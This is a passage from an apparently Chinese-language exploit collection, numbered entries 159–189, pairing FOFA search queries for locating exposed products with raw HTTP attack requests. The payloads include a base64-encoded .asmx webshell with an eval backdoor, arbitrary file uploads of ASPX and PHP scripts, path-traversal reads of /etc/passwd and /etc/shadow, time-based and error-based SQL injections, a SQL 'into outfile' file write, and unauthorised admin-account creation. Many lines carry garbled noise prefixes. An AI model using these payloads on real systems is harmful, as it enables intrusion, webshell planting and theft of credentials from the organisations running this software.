) r5 p3 F: f3 EPOST /webservices/WebJobUpload.asmx HTTP/1.1
6 z/ l% N/ v# t- U; y# ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
2 [, f9 O4 U; F% }0 IContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
8 |) j3 N1 x+ r+ ?/ t<vcode>1</vcode>
7 a2 t  x8 ]% b! ?/ w! I<subFolder></subFolder>
7 b( L8 h: S7 }: D; I/ _6 h. C<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
7 ]5 |( Z9 j  t( L3 R% Z</jobUpload>
' `: @  R5 o$ q( e6 |% @</soap:Body>
</soap:Envelope>

1 I# H. O# p% \* |
& [# }1 M, }' X# D" ^# i0 e, B+ q/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
/ u# y& o5 Q$ W

* d2 C( V0 N$ x" n160. Sonatype Nexus Repository 3目录遍历与文件读取
) Z+ a3 I8 N! A1 xCVE-2024-4956
FOFA：title="Nexus Repository Manager"
# w. S( S0 o: tGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
' G: p4 m3 M+ `4 z1 GConnection: close
Accept: */*
7 T4 d* E3 }1 ^7 A' F0 f- \$ [9 YAccept-Language: en
Accept-Encoding: gzip
# g7 D( \, @2 c' X0 b

* F/ j0 e- O1 K* l( i7 v161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
; g' ]+ ]( e" e$ }0 bFOFA：body="/KT_Css/qd_defaul.css"
- K8 E/ g3 \" b* {8 t! L# B. a第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
0 N6 G4 q  F" z  b- C. Y( H, `$ {! o* pPOST /Webservice.asmx HTTP/1.1
6 {$ j$ d, W) _% B2 cHost: x.x.x.x
1 C- |6 `" z+ K% p* i- e+ N0 T- C, SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
  L! G3 H3 T- F; l5 f5 ^3 fConnection: close
: e4 [9 R: S# O& v- F& iContent-Length: 445
Content-Type: text/xml
  H, e' i5 I- Q7 l! ZAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
) ]" U5 S& W& a. t8 K  I! ?4 [<soap:Envelope xmlns:xsi="
1 ^( J3 U/ P8 I7 u' ?% Z7 F) shttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
1 ^- c* g: j6 l' ]0 T1 ~  Xxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
4 i  y. l$ A3 U$ O/ Y) P, ?  S& M7 D<soap:Body>
; H# G- W/ K2 b<UploadResume xmlns="http://tempuri.org/">
5 R+ B  P. X. C# G<ip>1</ip>
/ M' @4 |6 {6 P2 {% w7 d<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
$ q" F+ Z% X$ a4 b4 y</soap:Envelope>

0 l8 C! j& W5 \
1 \  T) C8 ^6 D) m5 S: U1 I( fhttp://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
7 A3 I/ h3 |$ c# ~7 G' B$ q' N' T  VFOFA: app="和丰山海-数字标牌"
" ~" ^4 ?- O# s' n0 ~POST /QH.aspx HTTP/1.1
9 U( R$ Q; f; eHost: x.x.x.x
3 Z& R; ~. n6 W. M4 U. ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
3 v8 G9 g+ O) ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

; N) I- ~9 G0 b) A( f------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
$ @# @7 e' v5 B0 b8 s5 _
<% response.write("ujidwqfuuqjalgkvrpqy") %>
7 m# N" ]$ L5 r7 h/ |------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
3 i% ~( h, D% f5 {
6 ^: ~' I9 N3 A5 _  q' jupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
; V) e) w' D+ D; U# L% d3 aContent-Disposition: form-data; name="remotePath"

, _9 v, @; i4 q+ `/opt/resources
/ L; m7 W) r, Z+ ?+ u3 c------WebKitFormBoundaryeegvclmyurlotuey--

6 O2 q+ n8 v0 y: Q
http://x.x.x.x/opt/resources/kjuhitjgk.aspx

163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
7 d) C/ y8 R. ~9 s$ m- IPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
8 Y& H+ |" p% u5 ?1 y4 n) nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
9 [6 x1 d) |9 D- y' O( B& N8 ]Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& `; {7 u- V- _1 f4 s" M3 fContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

" l8 M+ k( F2 C8 r/ l0 X" s; i* g------iiqvnofupvhdyrcoqyuujyetjvqgocod
2 I2 X" E7 r7 L! {' IContent-Disposition: form-data; name="name"
0 s: E2 U3 A# ^) M
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
" [9 z) D/ K7 u7 z1 p! R& EContent-Type: image/jpeg
/ M& G+ X' j2 O  H6 e  y6 S% P
# Y9 ~3 L! a) t7 B2 g) s) drvjhvbhwwuooyiioxega
8 ~* R2 Y1 s/ h- D# L, b* [0 B" \------iiqvnofupvhdyrcoqyuujyetjvqgocod--

9 `; I  V2 ]( P4 X
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
% [1 |$ A0 X6 \# Y% t, S7 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
* F+ w2 }& s/ T4 {5 t$ X: `Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
- O7 K; h  A6 AAccept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 K; \6 z1 _& `8 KContent-Type: image/jpeg
% g5 x  Y1 z% {! ?. l
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
& N( X/ ~. c7 O' O- c& `------dqdaieopnozbkapjacdbdthlvtlyl--
3 A2 s1 L, }0 {( N1 k+ I$ c
  M" Y; S7 I" T3 w: d
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
$ k$ c/ |; C- l9 r8 v
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
! b& J$ Q# f/ m/ |. \) @7 T0 ?+ V& R* VURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
! x# F+ q* R" D3 E+ D

166. 中成科信票务管理平台SeatMapHandler SQL注入
. I: V# E9 X, l) aFOFA：body="技术支持：北京中成科信科技发展有限公司"
" i) {: v$ f+ Y7 Q8 {" `) d1 }POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# ~7 S& f" j1 M+ K  U  xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ `, s+ p1 v6 Y2 qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
+ v/ s) S3 w8 T3 dCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
' r- ]( a) c9 Q% {! w, O& hContent-Type: application/x-www-form-urlencoded
Content-Length: 89

" e0 Q1 ^8 j7 z0 x0 Y$ @: |Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


; }, x  G5 w, A, F3 a167. 精益价值管理系统 DownLoad.aspx任意文件读取
9 ~$ @- L. y5 j: w) w; Z% {FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
# B& K7 g4 {9 Q+ F7 uHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
5 E' r3 W/ h: j+ o; ~. O6 c; tAccept: */*
" X3 T; b# \' K7 p1 {  g; JConnection: keep-alive
1 z  V# |4 @. c+ |. _

; @+ h* V# K: x168. 宏景EHR OutputCode 任意文件读取
8 K% h8 y- z7 q% J* ~; h7 c3 PFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
: ?' D/ r# e+ r3 fContent-Type: application/x-www-form-urlencoded
! x1 h- r' W2 x( t+ _* p' w/ DConnection: close
" @) n8 C, t% \2 [0 d$ o


2 x9 n# m3 M. O169. 宏景EHR downlawbase SQL注入
7 s; ^' u; l5 i1 C% \" J7 ]6 dFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 k5 h0 z5 h0 q$ o/ T/ GAccept: */*
Accept-Encoding: gzip, deflate
Connection: close


& Z+ a" b5 d8 v% I4 p+ R
$ @# `+ O5 V1 t170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
) F/ z7 \' R6 D$ E2 c2 |/ ^4 NUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


171. 通天星CMSV6车载定位监控平台 SQL注入
9 c2 P. I! R$ G$ s! tFOFA：body="/808gps/"
8 o: I& F2 k$ U5 J6 ~+ o! FGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
. @5 q" J! r$ F% t  A% y2 QHost: your-ip
" J0 Y( \' g; O9 g) JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
# E# A# U& |) s0 _6 ?2 p* \5 m1 z" |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close


# `2 G- @6 f( `
) J# I+ `, N8 C  j7 s172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
) w, q. Y; w% @+ |  hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- D5 b' c& ]" ~& `Accept-Encoding: gzip, deflate
1 M& P# U' ~0 yAccept: */*
1 ?: c/ \( U" X8 _5 @; {! MConnection: keep-alive
0 ~5 j6 U: C7 g: D+ I/ _6 I% V# o6 p
: y" c, u" c) c" K) O: @7 O) X

173. Check Point 安全网关任意文件读取
6 N: m( y/ {* U" V0 BCVE-2024-24919
+ Q0 C- k& D* N, J) H1 B! ~! ~: LFOFA：app="Check_Point-SSL-Network-Extender"
7 G3 s+ s' \6 j/ Y9 S5 ~. IPOST /clients/MyCRL HTTP/1.1
* f$ x1 I1 Y+ ^7 f$ D6 DHost: your-ip
Content-Type: application/x-www-form-urlencoded
8 P8 }. L/ d4 q$ [# A( `. M6 E$ H( U
* L7 M" p0 S. j8 R8 {aCSHELL/../../../../../../../etc/shadow
0 t" r' K% `+ G
1 R1 p1 t' ~" I& u7 [9 _
; W: a$ E6 q& x! ~; K
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 \# K/ L0 g, F0 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' A: s9 D3 }: R* f+ a) y7 ?Accept-Language: zh-CN,zh;q=0.9
Connection: close
8 \- N9 R" `3 I' o% L

/ b; W+ }0 _0 _2 |: G
+ @2 c: L; b$ D$ n175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
) d/ z( y# j1 r) _. K: gGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  `: Z( O" f! m4 P3 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( I% m( F5 n9 E3 i+ o6 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
5 y3 ~$ ]  D  ]% j( O, K9 h% }Connection: close
3 G1 P, T  \5 b  CUpgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
8 u3 |8 x' ?1 Z7 P" dFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
! O4 p" G) J; b3 `- q2 \) O0 FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
8 q. W( k: e6 c9 X. wConnection: close

------WebKitFormBoundaryOKldnDPT
% a; t8 U: d& T: yContent-Disposition: form-data; name="tmp_name"; filename="test.php"
4 n/ g* T1 s/ l" w' S$ }Content-Type: image/png
! s' `. r4 R7 o$ }, J
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
, }, w6 E; D5 t6 T4 SContent-Disposition: form-data; name="uploadtime"

- t' M' C; J$ C1 U8 X7 H% x
------WebKitFormBoundaryOKldnDPT--



$ x  U5 G* a) p; G177. H3C路由器敏感信息泄露
8 z5 L8 S* E1 x( b( a3 c/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
- e2 B6 U0 [+ u, k, b$ ?; [/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
$ y) _! i" O: }8 {/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
7 O9 C7 M/ _$ }: ~. \/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/ E5 i# e0 H* c1 K0 B- `1 R( [4 U/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
0 c" Q4 v: N* W9 S$ q1 ?& }" X/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/ b* \* d- v0 U! o/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
  L. W. o; i( s/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
: q* X& \+ y4 b9 P9 @9 |/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
. B, P7 c' ]5 d& v9 p4 x

% I0 _4 B8 v# P8 X178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
7 y! M6 p: v& K7 eHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
. L( G5 n- g. L1 ]* Y9 m' iConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
% O' f# ^. Y+ q4 x' V. NContent-Type: application/octet-stream
' a8 L/ D% ~- c. t: ?Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
1 |  R  V: Q' w8 Z" I- U: Z

* d7 {) w9 ?# F3 WGET /imc/primepush/%2e%2e/flex/12234.txt


' }% v1 S& p$ p3 q179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
8 E' g! E8 M% W7 ?- X9 HHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
' I3 |5 ]; b2 U8 d( ?- OUser-Agent: Mozilla/5.0
" W7 C1 c) C7 u' `  X- r1 X
path=../log4net.config&Name=
! c8 S1 K2 l7 ~( B

180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ h0 `. u; L! c8 M: J8 f0 AAccept-Language: zh-CN,zh;q=0.9
Connection: close


9 h6 H; b( b4 ?( X+ J" h- @3 R181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
& e+ ]( x+ ]& g6 S: J, D* \* \POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
0 S$ W4 Z1 Z+ d* YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
: w" w* A. R1 \4 x% `: EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. M' G& _) @* @$ y( u; A. YAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 m0 k$ D7 |8 w3 Q6 z  o4 f3 HContent-Type: application/x-www-form-urlencoded


  t/ z$ t6 f! z4 d% F; maction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

' |  k; }3 I% ?9 q- o
8 r1 c; K+ }( v* v8 W, z" j182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
1 d. a4 \' p/ n5 V( Q; h% W4 M$ T5 RPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
' V$ J- P, {& ]& l  H! F0 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
  i% p' p& O' Z6 C$ r+ y6 a# m/ M& eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 L8 w5 T9 B! x2 Q  P/ eAccept-Language: zh-CN,zh;q=0.9
" `9 b! Y3 b( A2 x3 ]Connection: close
Content-Type: application/x-www-form-urlencoded

9 U( Z0 e8 \6 h- L3 W/ Q
9 e7 f" W  G4 k8 z4 ^- f- ausername=test1234&pwd=test1234&savedays=1
" O; x4 h& \; ?% Q
3 G6 [( u. q" V
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
& ]! s9 F- B3 C) v# d. aUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 n& Z0 U6 L' I, Z. M- B3 {Accept-Charset: utf-8
& F8 E2 t/ p0 H0 mAccept-Encoding: gzip, deflate
5 A! a" L' ^& @! C; x" d4 dConnection: close


184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
$ E: N0 a- O& X; i9 TPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
% ^6 @! D4 n1 w- c4 F2 \/ PContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# d2 l- ?, T0 h  F% @% K$ t1 YX-Requested-With: XMLHttpRequest
: T3 I& j: v- X5 ~( i: l

( v! o- Q5 _6 \5 W# z; finsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
1 Q: Q' J. d% X" `3 z  v, tversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
5 o- L5 s2 B# W  |& [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 R! N, \: f# K* bAccept-Encoding: gzip, deflate
5 T. B5 x& `' r5 \3 NConnection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1 h9 W; h  d3 K" O! x; O
9 X: l& W+ b3 w
187. Mura CMS processAsyncObject SQL注入
. g4 x) ?4 \- t" ^( pCVE-2024-32640
" B- I5 ~1 Z. ^FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
$ r8 `" f- ~% N5 E/ ]# H/ SHost: your-ip
+ {8 {( e+ t2 {# Z  W# y7 o4 E/ HContent-Type: application/x-www-form-urlencoded
, L3 b( d- v6 Z$ _3 Y, k4 {2 e  P
9 W& W- S2 s4 k
% c4 y# K9 ?6 oobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
* z! L9 O5 q* P) N+ \3 D6 g8 B0 T; _FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
4 g" B7 r3 ~/ A5 ~3 t# Y7 Y- R( uHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  Q4 D8 Q" e; t5 M# VAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


' q5 W  [# ?  j5 v$ h4 _1 k" ^189. 蓝网科技临床浏览系统 deleteStudy SQL注入
; f! Z! ~* q+ W$ Y6 K9 zFOFA：app="LANWON-临床浏览系统"
7 |8 j- H4 }/ z% `3 EGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
